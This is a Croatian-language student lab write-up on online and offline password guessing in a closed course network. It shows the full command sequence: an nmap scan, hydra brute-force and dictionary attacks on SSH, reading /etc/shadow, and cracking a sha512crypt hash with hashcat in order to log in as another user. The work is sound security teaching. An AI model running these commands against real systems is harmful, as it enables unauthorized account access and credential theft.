5. lab. vjezba

Online Password Guessing

Instalirali smo nmap aplikaciju koja nam omogucuje uvid u trenutno stanje nase mreze(skenira IP adrese i portove, saznaje sto je sve spojeno na nju i koji su portovi otvoreni).

Izvrsili smo naredbu

```
nmap -v 10.0.15.0/28
```

Dobili smo uvid u aktivne hostove.

Svima im je je bio zajednicki port 22 sto je port koji pripada ssh-u.

Na lokalnom serveru pruzmemo svoj username i IP adresu koja pripada nama.

Naredbom

```
ssh vulevic-natasa@10.0.15.2
```

pokusali smo otvoriti udaljeni shell na racunalu.

Nedostaje nam lozinka.

Aproksimacija password space-a je 2^30

Za pokusaj probijanja trazene lozinke koristili smo hydra naredbu:

```
hydra -l vulevic_natasa -x 4:6:a 10.0.15.2 -V -t 1 ssh
```

Broj pokusaja pogodka lozinke je 54 u minuti pa nam je vrijeme za pogoditi 2^30 kombinacija preveliko.

Tako da cemo koristiti dictionary kojeg cemo preuzeti sa servera

```
wget -r -nH -np --reject "index.html*" http://a507-server.local:8080/dictionary/g1/
```

Hydra naredbom cemo podesiti da se lozinka trazi iz dictionary-a a ne iz keyspace-a

```
hydra -l vulevic_natasa -P dictionary/g1/dictionary_online.txt 10.0.15.2 -V -t 4 ssh
```

Nakon sto smo otkrili lozinku mozemo se ulogirati na svoje racunalo.

Offline Password guessing

Sada bismo htjeli doci do lozinke nekog drugog korisnika.

Izaberemo jedan account iz foldera.

Folderu pristupimo pomocu sudo /etc/shadow.

Hash vrijednost lozinke iz predhodnog zadatka smo spremili u file.

Koristit cemo hashcat naredbu

```
hashcat --force -m 1800 -a 3 hash.txt ?l?l?l?l?l?l --status --status-timer 10
```

i s obzirom da nam ona zahtijeva previse vremena koristit cemo unaprijed pripremljen dictionary

```
hashcat --force -m 1800 -a 0 hash.txt dictionary/g1/dictionary_offline.txt --status --status-timer 10
```

Sada cekamo da nam hashcat pronade lozinku.

Nakon toga se mozemo spojiti na udaljeno racunalo pod nekim drugim username-om.